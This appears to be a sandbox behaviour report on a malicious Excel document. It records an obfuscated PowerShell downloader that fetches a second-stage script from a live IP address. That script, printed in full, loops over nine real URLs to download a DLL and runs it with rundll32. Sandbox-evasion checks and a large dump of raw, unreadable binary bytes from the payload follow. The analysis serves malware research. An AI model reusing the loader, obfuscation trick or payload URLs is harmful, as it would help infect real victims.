cmdline	"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI\|I`E`X

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Jan. 20, 2022, 9:28 a.m.	show_type: 0 filepath_r: powershell parameters: -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI\|I`E`X filepath: powershell	1	1	0

Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (4 events)

Time & API	Arguments	Status	Return
Process32NextW Jan. 20, 2022, 9:28 a.m.	snapshot_handle: 0x0000016c process_name: EXCEL.EXE process_identifier: 2360	1	1
Process32NextW Jan. 20, 2022, 9:28 a.m.	snapshot_handle: 0x0000016c process_name: OSPPSVC.EXE process_identifier: 2696	1	1
Process32NextW Jan. 20, 2022, 9:28 a.m.	snapshot_handle: 0x0000016c process_name: powershell.exe process_identifier: 2844	1	1
Process32NextW Jan. 20, 2022, 9:28 a.m.	snapshot_handle: 0x0000016c process_name: conhost.exe process_identifier: 2880	1	1

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Jan. 20, 2022, 9:28 a.m.	process_identifier: 2360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x7ef60000 process_handle: 0xffffffff	1	0	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Jan. 20, 2022, 9:28 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (28 events)

Data received	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 20 Jan 2022 00:28:28 GMT Content-Type: image/png Content-Length: 1029 Last-Modified: Wed, 19 Jan 2022 09:27:00 GMT Connection: keep-alive ETag: "61e7d964-405" Accept-Ranges: bytes
Data received	$path = "C:\Users\Public\Documents\ssd.dll"; $url1 = 'http://peterpolz.to-create.eu/cgi-bin/toRO9wV0IQu6/'; $url2 = 'http://fr7.anbo5288.cc/-/Q7qLFrKJSlabny0snc/'; $url3 = 'https://schloss.stainz.at.to-create.eu/cgi-bin/az2rEM5i8hacCiLt/'; $url4 = 'http://realinvestdeal.com/nonetdh/jENwrgafB7p8NwZ/'; $url5 = 'https://mall.payarena.com/wp-content/2JioZBV/'; $url6 = 'https://wordpress03.aftershipdemo.com/hqid/V2LD0vsK5Gg50dHb/'; $url7 = 'https://pmfotografie.com/oiuxj4n/3C3da27vJBm0cvajeD/'; $url8 = 'https://lalibertad.apiperu.net.pe/assets/4F/'; $url9 = 'http://s-lifes.com/2vz3x6/4WsF/'; $web = New-Object net.webclient; $urls = "$url1,$url2,$url3,$url4,$url5,$url6,$url7,$url8,$url9".split(","); foreach ($url in $urls) { try { $web.DownloadFile($url, $path); if ((Get-Item $path).Length -ge 30000) { [Diagnostics.Process]; break; } } catch{} } Sleep -s 4;cmd /c C:\Windows\SysWow64\rundll32.exe 'C:\Users\Public\Documents\ssd.dll',AnyString;
Data received	HTTP/1.1 403 Forbidden Date: Thu, 20 Jan 2022 00:28:29 GMT Server: Apache Vary: User-Agent Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html;charset=utf-8
Data received	HTTP/1.1 200 OK Date: Thu, 20 Jan 2022 00:28:29 GMT Server: Apache/2.4.41 (Ubuntu) Set-Cookie: 61e8acad6802f=1642638509; expires=Thu, 20-Jan-2022 00:29:29 GMT; Max-Age=60; path=/ Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Thu, 20 Jan 2022 00:28:29 GMT Expires: Thu, 20 Jan 2022 00:28:29 GMT Content-Disposition: attachment; filename="1Z8uvoGCfjttUw8.dll" Content-Transfer-Encoding: binary Content-Length: 606208 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload MZÿÿ¸@ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $è©Ñ¬È¿Ì¬È¿Ì¬È¿ÌÒÌ¤È¿ÌÄÌ¹È¿Ì¬È¾Ì¡Ê¿Ì²*Ì°È¿Ì²<Ì&È¿Ì²;Ì È¿Ì²-ÌÈ¿Ì²+ÌÈ¿Ì².ÌÈ¿ÌRich¬È¿ÌPELìçaà! Înà ±ø pëOtÊÜÈx @f d@à,ìÉ@.textÍÎ `.rdata¿àÒ@@.data¼ðNÞ@À.rsrcÈxz,@@.relocH ¦@BUìjÿhzºd¡Pì¡)3ÅPEôd£hèñúÄEìÇEü}ìt MìèFEèëÇEèEèEðÇEüÿÿÿÿEðMôd Yå]ÃÌÌÌÌÌÌÌÌÌÌÌUìQMü¸Ìæå]ÃUìjÿh8°d¡PQ¡)3ÅPEôd£MðhPhêMðè¿EðÇ\|èÇEüMðÇìæMðÁxèâýUðÇBpEðÇ@tMðÇAlÇEüÿÿÿÿEðMôd Yå]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌUìQMüMüè!EàtMüQèÿùÄEüå]ÂÌÌÌÌUìjÿh8°d¡PQ¡)3ÅPEôd£MðEðÇìæÇEüMðÁxèÇEüÿÿÿÿMðè¿Môd Yå]ÃÌUìQMüèå]ÃUì¸ê]ÃÌÌÌÌÌÌUìì8MÌEPMÌèHøÿuÈÿéjhjMÌèopÇEìjjjjjMÌÁxèpè{HMèè{PUä¸·ÈQUäRÿåEôèñz@EàèæzHMÜº·ÂPMÜQÿåEøÇEüë UüÂUü}ü}.EüLôMÔUÌB\|EØMÔQjÿUØRèz@xèuëÃMÌMðUÌÂxUÐu ÇEÈë EÐHMÈUÈRjh EðH QÿåPèâþ3Àå]ÂÌÌÌÌÌÌÌÌÌÌUììMôè#z@EøMøQ UüEüMüDÿÐå]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUììMøèãy@EüMüI èÑ¡å]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌUìjÿhh°d¡PìX¡)3ÅPEôd£MEHlÁUJlMèQÿÿÿEð}ðt EðxTuMQlêEPlëNMM Mè`U RM¤èD'ÇEüE¤PMðITè~ÍUBlèMAlÇEüÿÿÿÿM¤èÀ'Môd Yå]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUììMðEðHlÁUðJlEðEøMðÇApUðÇBtjjh EøH QÿåEôUôREøPMðè¥Eü}ütMüQUøRMðèEüëåhÿÿjhEøH QÿåUðBlèMðAlå]ÃÌÌÌÌÌÌÌÌÌÌÌUììMèEèxltMÇéUUüMèè"þÿÿEø
Data received	tMÔ èãýÿÿUÔÇjè#ÈÄEìÇEü}ìtCEìÇ@MìÇAURÿlãMìUì:u}t hè¥eEìEÌëÇEÌMÌMðÇEüÿÿÿÿUÔEðMÔ9u hèoeEÔMôd Yå]ÂÌÌÌÌÌÌÌÌÌÌÌUìjÿh`´d¡PìÔ¡)3ÅPEôd£ ÿÿÿEPje ÿÿÿè¥sÇEü ÿÿÿÇì ÿÿÿÂtUðMðè£ïEðÇLëÆEü ÿÿÿÁÈMìMìèïUìÇLëÆEü ÿÿÿEèMèè\ïMèÇLëÆEü ÿÿÿÁpè5îÿÿÆEü ÿÿÿÁtè îÿÿÆEü ÿÿÿÁxèîÿÿÆEü ÿÿÿÁ\|èöíÿÿÆEü ÿÿÿÁèáíÿÿÆEü ÿÿÿÂpU¤¸AÀu ÇE¨ëhAèR6ÄE¨M¨QhAM¤èñÿÿ ÿÿÿÂtU¸AÀu ÇE ëhAè6ÄE M QhAMèYñÿÿ ÿÿÿÂxxÿÿÿ¸AÀu ÇEëhAèË5ÄEMQhAxÿÿÿèñÿÿ ÿÿÿÂ\|Tÿÿÿ¸AÀuÇtÿÿÿëhAè5ÄtÿÿÿtÿÿÿQhATÿÿÿèÀðÿÿ ÿÿÿÂ$ÿÿÿ¸AÀuÇPÿÿÿëhAè/5ÄPÿÿÿPÿÿÿQhA$ÿÿÿèoðÿÿÇEüÿÿÿÿ ÿÿÿMôd Yå]ÂÌUììMèMèèEàtMèQèÝÄÄEèå]ÂÌÌUìjÿh¡´d¡Pì¡)3ÅPEôd£MÜÇEüMÜÁè£ïÿÿMÜÁ\|èïÿÿMÜÁxèïÿÿMÜÁtèyïÿÿMÜÁpèkïÿÿMÜÁèvoÆEüMÜÁÈèdoÆEüMÜÁtèUoÇEüÿÿÿÿMÜèÁoMôd Yå]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌUìQMüEüÀtPhéMQèzUüÂÈRhêEPèÿyMüÁQhèURèçyEüpPhèMQèwzUüÂtRhêEPè_zMüÁxQhíURèGzEü\|PhîMQè0zUüÂRhéEPèzå]ÂÌÌÌÌÌÌÌÌUìQMüèå]ÃUì¸ðí]ÃÌÌÌÌÌÌUììMôMôèOèûD@EøMøQ Uü}ütMüèýlÈèy;å]ÃÌÌUìQMüMüèQå]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌUììMôè£D@EøMøQ Uü}ütMüè¥lÈèîÌÿÿå]ÃÌÌÌÌÌÌÌÌÌÌUììMðècD@EôMôQ Uü}üt+MüèelEø}øtMøèÊÿÿEìjEìMìB\ÿÐå]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌUììMüEEø}øètJ}øét}øêtëQjjh¸MüRÿåë8jjh¸EüèQÿåëjjh¸Uü<Pÿåë3Àå]ÂÌÌÌÌÌÌÌÌÌÌÌUìQMüjjh¹EüQÿåjjh¹UüèPÿåjjh¹Mü<Rÿåå]ÃÌÌÌÌÌÌÌÌÌÌUììhÿÿÿhÿÿÿEèMÁQMèèähÿÿÿÂtUÐEÀPMÐèÆhÿÿÿÁ\|M¸UÂRM¸è¨}tAhÿÿÿxE MÁQM èhÿÿÿÂplÿÿÿEÀPlÿÿÿèaå]ÂÌÌÌÌÌÌÌÌÌÌÌUìQMüEP·MQMüèauå]ÂÌÌUìQMüMüèZkEàtMüQèÀÄEüå]ÂÌÌÌÌUììPM°EéMüU°èEøMü;MøUø3ÀzÀ¶ÈÉuUüEø ;t%UHôMðUEìMðQUìRM°èóêÿÿëAEüPèxíÿÿÄEôMøÁÊÿðÁJÒEøPMøEøBÿÐMôÁU° E°å]ÂÌÌÌÌÌÌÌUìjÿhá´d¡PìT¡)3ÅPEôd£M EPhM èKkÇEüM Ç¼ïU ÂtUðMðèOçEðÇtîÆEüM ÁÈè+æÿÿÆEüM ÁÈM¤ºAÒu ÇEàëhAè.ÄEàEàPhAM¤èèéÿÿM ÇÌÇEüÿÿÿÿE Môd Yå]ÂUìjÿhµd¡Pì¡)3ÅPEôd£MìÇEüMìÁÈèCéÿÿMìÁtèýhÇEüÿÿÿÿMìè½iEàtMìQè¾ÄEìMôd Yå]ÂÌUìQMüEüÀtPhöMQètUüÂÈRhõEPètMüÁÌQh÷URèrså]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌÌUìQMüèå]ÃUì¸ ñ]ÃÌÌÌÌÌÌUìjÿh8µd¡Pì¡)3ÅPEôd£dÿÿÿjdÿÿÿèjòè1?@EÜMÜQ UèMèè9gEìdÿÿÿÈé
Data received	MØUØRèÛêÿÿÄEÔEÔÀEðÇEüMðèÝMðèEdÿÿÿ¹ÌuMðè~ÙÿÿdÿÿÿÌPMQQÔeàlÿÿÿEðèEMQèoêÿÿÄEUÂlÿÿÿlÿÿÿ`ÿÿÿMìèGÐÿÿ\ÿÿÿ\ÿÿÿUäÇEüÿÿÿÿMðèYçÿÿEäMôd Yå]ÂÌÌÌÌÌUìQMüjMüè¯þÿÿPMüÁtè4å]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUìQMüjMüèþÿÿPMüÁtè_4å]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUìQMüMüèzhå]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌUìQMüjMüÁtè4å]ÃÌÌÌÌÌÌÌÌUìì(MØEØMüÇEøUü¾Àt?MüUó¾EóPè3ÄÀt}øuMüMøëÇEøUüRèp2ÄEüë·}øtEØMìUø+UìUôEôPMØèÜEØå]ÃÌÌÌÌÌUììDMÀEÀMüUüEï¾MïQè 3ÄÀtUüRè2ÄEüëÖEÀMèUü;UèEÀMäUü+UäUðEÀQôUàEÀéMÔUÔ¸+BEÜMÔQ+UàUØEÜEØ}MàQMÀèçÿÿUÀEÐMÐMôUôUðUüEÀQôUÌEÌ+EðEøMÀBôEÈMøÁQUüREÈÀPMôQèç0ÄEÄUÄU¼}¼Pw!E¼¶ÈQÿ$¸Qè¯cëèàcëëè×c}ø\| UÀMø;Hø~ hWèfÕÿÿUÀMøHôUÀMøÆEÀå]ÃvQhQoQxQÌÌÌÌÌÌÌUììMìEìéMôUô¸+BEüMôQ+UUøEüEø}MQMìè.æÿÿUìEð}\| MìE;Bø~ hWèyÔÿÿMìEBôMìEÆå]ÂÌÌÌÌÌÌÌÌÌÌÌÌUìQMüMüèfcEàtMüQè¸ÄEüå]ÂÌÌÌÌUìjÿhzºd¡Pì¡)3ÅPEôd£hè¸ÄEìÇEü}ìt MìèfEèëÇEèEèEðÇEüÿÿÿÿEðMôd Yå]ÃÌÌÌÌÌÌÌÌÌÌÌUìQMü¸¬ñå]ÃUìQMüèå]ÃUì¸Èñ]ÃÌÌÌÌÌÌUìjÿhµd¡PQ¡)3ÅPEôd£MðMðèÙÇEüEðÇLòMðÁèè·ÆEüMðÁÄèP¤ÆEüMðÁ`èÝ
Data received	¼+ À ´¡´¯À+È+ ´ ¸¡°¯¼+È+ ¼+ ´+ ¼ ¸ ¸EuEì¸°°+¼ ´¯ ´¯ °Á+¸+À+¼+¸°¯´¯´¯¸¯¼¯¼°Ð¸°°+¼¡´¯´¯°Ð+¸+À+¼+¸ °¯ ´¯ ´¯ ¸¯ ¼¯ ¼°Ê ¸ ° °+ ¼´¯´¯°Ê+ ¸+ À+ ¼+ ¸¡°¯´¯´¯¸¯¼¯¼ °Á¸°°+¼ ´¯ ´¯ °Á+¸+À+¼+¸°¯´¯´¯¸¯¼¯¼°ÐEMû°¯ÀEü+Â+° ¸¯ À+Á¼¼¯¼¯¸¯ÀÂ+´+¸ ´¯ ¸Á+À+°¼¯À+Â° °¯ À+Á+°¸¯À+Â¼ ¼¯ ¼¯ ¸¯ ÀÁ+´+¸´¯¸Â+À+° ¼¯ À+Á°U¶Mì ¸°¯°¯¼¯´ ¼Ñ °¯ ¼Ñ+¸ °¯ ¸+ÑÀ+°¸ °¯ °¯ ¼¯ ´¼Ê°¯¼Ê+ ¸°¯¸+Ê À+ ° ¸°¯°¯¼¯´ ¼Ñ °¯ ¼Ñ+¸ °¯ ¸+ÑÀ+°¸ °¯ °¯ ¼¯ ´¼Ê°¯¼Ê+ ¸°¯¸+Ê À+ ° ¸°¯°¯¼¯´ ¼Ñ °¯ ¼Ñ+¸ °¯ ¸+ÑÀ+°M¶Â3Ò÷5¬UðEô+´ ´¯ °¯ À+Á°+À°+¸+°À¯´Â ¼¯ ¼ÁÀ¯°+ÂÀ¸+´+À°¸+´ ´¯ °¯ À+Á°+À°+¸+°À¯´Â ¼¯ ¼ÁÀ¯°+ÂÀ¸+´+À°¸+´ ´¯ °¯ À+Á°+À°+¸+°À¯´Â ¼¯ ¼ÁÀ¯°+ÂÀ¸+´+À°¸+´ ´¯ °¯ À+Á°+À°+¸+°À¯´Â ¼¯ ¼ÁÀ¯°+ÂÀ¸+´+À°¸+´ ´¯ °¯ À+Á°+À°+¸+°À¯´Â ¼¯ ¼ÁÀ¯°+ÂÀ¸+´+À°¸Mð+ ¼¸¯´¯°Ê+ ´¼¯¸+Ê+ ¼+ À¸¯°Ê¼¯´+Ê ´+ °´¯´Ê+ ° ¼ °+ À °+ ¼¸¯´¯°Ê+ ´¼¯¸+Ê+ ¼+ À¸¯°Ê¼¯´+Ê ´+ °´¯´Ê+ ° ¼ °+ À °U¶ U¶3Á À¯ °¼¯¼5À¯5´=´¯=°¯=ÀÀ¯°Eè¡¼¯¼Mä À¯ ´Uà´¯°¯ÀuÜ5À¯5°}Ø=¼¯=¼]ÔÀ¯´EÐ¡´¯°¯ÀMÌ À¯ °UÈ¼¯¼uÄ5À¯5´}À=´¯=°¯=À]¼À¯°E¸¡¼¯¼M´ À¯ ´U°´¯°¯Àu¬uô+5´+ò5°+5À5°+5¸+5°ñð+ó5À5¸+5´+5À5°5¸+5´+÷5°+5À5°+5¸+5°E¬ðM°ñU´+ò5À5¸+5´+5À5°5¸+5´E¸+ð5°+5À5°+5¸+5°M¼ñUÀòEÄ+ð5À5¸+5
Data received	\|åEPMðQ RÿåE¤EM¨MUREPMQÿxåÀtëxÿÿÿè7Môd Yå]ÂÌÌÌÌÌÌÌÌÌUìQMüjjMüÁèè(Oå]ÃÌÌÌUìQMüjjMüÁèèOå]ÃÌÌÌUìjÿhîµd¡PQ¡)3ÅPEôd£Mð¡`>àu6 `>É `>ÇEüj¹=èÿÿhðÛènÑÄÇEüÿÿÿÿ¹=è1Môd Yå]ÃÌUìjÿh¶d¡Pìh¡)3ÅEÀPEôd£¤ýÿÿ¤ýÿÿè$ÿÿÿEð}ðtMðèc_ÿÿÔýÿÿPèG4Ä ýÿÿ ýÿÿýÿÿÇEüýÿÿRh ôÐýÿÿPè³ÄýÿÿýÿÿýÿÿÆEühëýÿÿRÌýÿÿPè²tÿÿÄýÿÿýÿÿÄýÿÿÆEüÄýÿÿÀýÿÿjj¤ýÿÿQhpôjÀýÿÿRhhôjÜýÿÿèï½ÆEüÌýÿÿè1ÿÿÆEüÐýÿÿè"ÿÿÆEüÔýÿÿèÿÿÜýÿÿèÅøuÇEüÿÿÿÿÜýÿÿè¨»éÁÈýÿÿPÜýÿÿèÆýÿÿýÿÿ°ýÿÿÆEü°ýÿÿ¬ýÿÿ¬ýÿÿQMÄè7ÆEü Èýÿÿè~ÿÿMÄèPÀtC¤ýÿÿ¤ýÿÿDÿÒØýÿÿ½ØýÿÿtØýÿÿxTtMÄQØýÿÿJTè)ÆEüMÄè-ÇEüÿÿÿÿÜýÿÿèâºMôd YMÀ3Íè¿å]ÃÌÌUìjÿhh²d¡PìT¡)3ÅPEôd£ÇEìMè,tÿÿPMðèÓsÿÿÇEüEQôUØEMÔ}u ÇEÐëURèÂÄEÐEØPMÔQUÐREPMðQè2tÿÿÄUðêU¸E¸Pè=ÿÿÄE´M´ÁU EìÈEìÇEüÿÿÿÿMðèD}ÿÿEMôd Yå]ÃÌÌUìQMüå]ÃÌÌÌÌÌUìjÿh¸¶d¡PQ¡)3ÅPEôd£MðEðÇTôÇEüMðèz«ÇEüÿÿÿÿMátUðRè¹QÄEðMôd Yå]ÂÌÌÌUìjÿh¸¶d¡PQ¡)3ÅPEôd£MðEðÇTôÇEüMðè «ÇEüÿÿÿÿMôd Yå]ÃÌÌÌÌÌÌÌÌÌÌÌÌUìjÿh&·d¡Pìô¡)3ÅPEôd£ÿÿÿÿÿÿÇðôÿÿÿÁèHxÿÿÇEüÿÿÿÁè3xÿÿÆEüÿÿÿÁè!xÿÿÆEüÿÿÿÁèxÿÿÆEüÿÿÿÁèýwÿÿÆEüÿÿÿÁMºAÒu ÇE´ëhAèqÀÄE´E´PhAMèº{ÿÿÿÿÿÁpÿÿÿºAÒu ÇEëhAè/ÀÄEEPhApÿÿÿèu{ÿÿÿÿÿÁLÿÿÿºAÒuÇlÿÿÿëhAèç¿ÄlÿÿÿlÿÿÿPhALÿÿÿè'{ÿÿÿÿÿÁ(ÿÿÿºAÒuÇHÿÿÿëhAè¿ÄHÿÿÿHÿÿÿPhA(ÿÿÿèÙzÿÿÿÿÿÁÿÿÿºAÒuÇ$ÿÿÿëhAèK¿Ä$ÿÿÿ$ÿÿÿPhAÿÿÿèzÿÿÇEüÿÿÿÿÿÿÿMôd Yå]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUìQMüMüè!EàtMüQèïNÄEüå]ÂÌÌÌÌUììMèEèÇðôMèÁèÓyÿÿMèÁèÈyÿÿMèÁè½yÿÿMèÁè²yÿÿMèÁè§yÿÿå]ÃÌÌÌUìjÿh°·d¡PìØ¡)3ÅPEôd£ÇE¼f¡ õfEð "õMòUÂRhõEèPè9ûÿÿÄpÿÿÿpÿÿÿlÿÿÿÇEüUðRlÿÿÿPMäQè9nÿÿÄhÿÿÿhÿÿÿdÿÿÿÆEühõdÿÿÿPMàQènÿÿÄ`ÿÿÿ`ÿÿÿ\ÿÿÿÆEüEÀP\ÿÿÿQUÜRèûlÿÿÄXÿÿÿXÿÿÿTÿÿÿÆEüMðQTÿÿÿREØPè®mÿÿÄPÿÿÿPÿÿÿLÿÿÿÆEühõLÿÿÿREÔPèmÿÿÄHÿÿÿHÿÿÿDÿÿÿÆEüUÂRDÿÿÿPMÐQèplÿÿÄ@ÿÿÿ@ÿÿÿ<ÿÿÿÆEühôô<ÿÿÿPMÌQè"mÿÿÄ8ÿÿÿ8ÿÿÿ4ÿÿÿÆEüEÀP4ÿÿÿQUÈRèlÿÿÄ0ÿÿÿ0ÿÿÿ,ÿÿÿÆEüMðQ,ÿÿÿREÄPèÅlÿÿÄ(ÿÿÿ(ÿÿÿ$ÿÿÿÆEü UðR$ÿÿÿPMÀQèlÿÿÄ ÿÿÿ ÿÿÿÿÿÿÆEü EÀPÿÿÿQUìRèkÿÿÄÆEüMÀè9wÿÿÆEü MÄè-wÿÿÆEüMÈè!wÿÿÆEüMÌèwÿÿÆEüMÐè wÿÿÆEüMÔèývÿÿÆEüMØèñvÿÿÆEüMÜèåvÿÿÆEüMàèÙvÿÿÆEüMäèÍvÿÿÆEüMèèÁvÿÿEìèEMQèyÿÿÄEUÂEM¼ÉM¼ÇEüÿÿÿÿMìèvÿÿEMôd Yå]ÃÌÌÌÌUìjÿh-¸d¡Pì´¡)3ÅPEôd£`ÿÿÿ`ÿÿÿèwJÇEü`ÿÿÿÇ<õ`ÿÿÿÁèVrÿÿÆEü`ÿÿÿÁèD
Data received	rÿÿÆEü`ÿÿÿÁèuØÆEü`ÿÿÿÇA`ÿÿÿÇB`ÿÿÿÇ@`ÿÿÿÇA`ÿÿÿÂU¼¸AÀu ÇEÀëhAèrºÄEÀMÀQhAM¼è»uÿÿjhUR`ÿÿÿÁ`ÿÿÿPB ÿÐÀu`ÿÿÿÇAjÿjh!ïèUÏ`ÿÿÿèïÀÁÇEìë UìÂUì}ì(}A`ÿÿÿÀE´¹4õÉu ÇE¸ëh4õèÇ¹ÄE¸U¸Rh4õM´è mÿÿë°¡dE¨`ÿÿÿÁM¬}¨u ÇE°ëU¨Rè¹ÄE°E°PM¨QM¬èÜlÿÿMðèÄpÿÿÆEüèlËPUEðPMI èUèRè(Ä\ÿÿÿ\ÿÿÿXÿÿÿÆEüh$õMðQUäRèRiÿÿÄTÿÿÿTÿÿÿPÿÿÿÆEüXÿÿÿQPÿÿÿREàPèBhÿÿÄLÿÿÿLÿÿÿHÿÿÿÆEüHÿÿÿR`ÿÿÿèÆEüMàèËsÿÿÆEüMäè¿sÿÿÆEüMèè³sÿÿhAMÜèFpÿÿDÿÿÿDÿÿÿ@ÿÿÿÆEü@ÿÿÿQ`ÿÿÿè¾ÆEüMÜèrsÿÿÆEüMðèfsÿÿÇEüÿÿÿÿ`ÿÿÿMôd Yå]ÂÌÌÌÌÌÌÌÌUìQMüMüè!EàtMüQèHÄEüå]ÂÌÌÌÌUìjÿh¸d¡PìT¡)3ÅPEôd£M¸E¸Ç<õÇEüM¸èÀ³hLõMðè[oÿÿE´M´M°ÆEüU°RM¸èâÆEüMðèrÿÿE¸ÀPM¸èÇMìQèÎ&ÄE¬U¬U¨ÆEüE¨PhDõMèQèLôÿÿÄE¤U¤U ÆEüjE PM¸èÆEüMèè2rÿÿÆEüMìè&rÿÿM¸ÁU¸BPLÿÒÆEüM¸ÁèÎÖÆEüM¸Áè÷qÿÿÆEüM¸ÁèèqÿÿÇEüÿÿÿÿM¸èiFMôd Yå]ÃÌÌÌÌÌÌÌÌÌÌUìjÿh¹d¡PìÔ¡)3ÅPEôd£LÿÿÿLÿÿÿèGÀu3Àé«}u3ÀéEðPMEPJÿÑUðRMìèazÿÿÇEüEðPÿhã 4QMìèA{ÿÿPÿãÀ#}u"LÿÿÿBÀLÿÿÿALÿÿÿÇBÿÿÿÿMÔè¢ôÿÿÆEüEÔPMQèÁ.ÄÀu6UUÄÆEüMÔèØöÿÿÇEüÿÿÿÿ}ìtMìè#{ÿÿÇEìEÄéÓèêPMÐèfÿÿÆEüLÿÿÿHÁLÿÿÿJEPLÿÿÿQRLÿÿÿHQhpõUÐRè7Ä
Data received	v ÿxä^]ÂyPujðÿq ÿàåÃIPÿ`xyPujìÿq ÿàåÃIPÿ`\|ÿUìyPuÿuÿuÿuÿq èÚ¤ÿÿ]ÂIP]ÿ ÿUìyPuÿuÿuÿuÿq èÊ¤ÿÿ]ÂIP]ÿ ÿUìVñöuèi2ÿv ÿåÀu9FPtéNP^]ÿ ~Puíÿuÿv ÿtä^]ÂÿUìyPuÿujôÿq ÿäå]ÂIP]ÿ ÿUìyPuÿuÿuÿuÿuÿuÿq ÿpäëÿuIPÿuÿuÿuÿ]ÂÿUìyPuÿuÿq ÿlä]ÂIP]ÿ yPu ÿq ÿhäÃIPÿ ¤ÿUìyPuÿuÿq ÿå]ÂIP]ÿ ¨yPuÿq ÿÈäPèÃÿÿÃIPÿ °ÿUìyPuExLtÿu@LQÈÿ]ÂÿUìMÀuè1@]ÂÿUìyPu'EÀt@ ÿuÿuÿuÿuÿuPÿq ÿèå]ÂIP]ÿ ÿUìVñöt3~Pu-ÿv ÿ¬åMPÁèRÀtxLtHLjVÿ^]Âj¸¼Òè»ñ~Puÿuÿuÿv ÿÐäëFMðèþÿNPeüUðRÿjÿÿuðÿuÿuè%üÿÿÄÿuÿXãMðÁððèªÿÿÆè/ÂéæfÿUì¡°XÀt]ÿà]ÂÿUì¡´XÀt]ÿà3À]ÂÿUì¡¸XÀt]ÿà3À]ÂÿUì}uè¬/=´Xtÿuÿuè®ÿÿÿ÷ØÀ÷ØëjX]ÂÿVñF PÿãÀu"FÀt PÿQfFÀt PÿQf^Ã¡¼XÃÁ3Ò3ÉÇ P4PTHLPPÃÿVñF,W=øäÇ ÀtPÿ×F(ÀtPÿ×vötVèkþY_^ÃÿVñN<WÇ ÉtÿDÿvHèÔÿÿ3ÿYNGÉtWÿNÉtWÿNÉtWÿN ÉtWÿN$ÉtWÿF8ÀtëN8èiPè}ÿÿF8YxuèN0ÉtWÿPN4ÉtWÿPN8ÉtWÿP_^ÃÿUìVñèÿÿÿöEtVèì^Æ^]ÂÁ3ÉÇ HHHDÿHLÿHHÇ@lÇ@(ÃÿUìVñèûþÿÿöEtVè¢^Æ^]ÂjTèw^ÀtÈé¤ÿÿÿ3ÀÃh.¹ÄXèdÀué·-Ãj¸üÁèúñuðÇ NH3ÿG}üÉtWÿNpÉtVLRÿPNpÉtWÿPFxÉtWÿFxHÉtWÿÿvxèFÿÿ¾YÀtøÿt Pè4ýÿÿÿNtÆEüèdN4éèµÿÿè<ÃhpèfcÀué-ÃÿUìVÿuñNÇ èòÿÿfÆFÆ^]ÂÿVñ~Ç t ÿvÿãNé^éMÿÿÿUìVñèÍÿÿÿöEtVèO]Æ^]Âj¸¼ÒèÕñh¤ Mðè"ªþÿEð3ÿPÎ}üègÿÿÿMðÁðè÷ÿÿÇ ~~~~~ ~$~(~,~0~4~8~<~@~D~H~L~P~T~X~\~`~d~h~l~p~t~x~\|¾¾¾¾¾¾¾¾¾ ¾¤¾¨¾¬¾°¾´¾¸¾¼¾À¾Ä¾È¾Ì¾Ð¾Ô¾Ø¾Ü¾à¾ä¾è¾ì¾ð¾ô¾ø¾ü¾¾¾¾¾¾¾¾¾ ¾$¾(¾,¾0¾4¾8¾<¾@¾D¾H¾L¾P¾T¾X¾\¾`¾d¾h¾l¾p¾t¾x¾\|¾¾ÆèÃj¸¼Òè±ñh¼ Mðèþ§þÿEð3ÿPÎ}üèCýÿÿMðÁðèÓ}ÿÿÇ¸ ~~~~~ 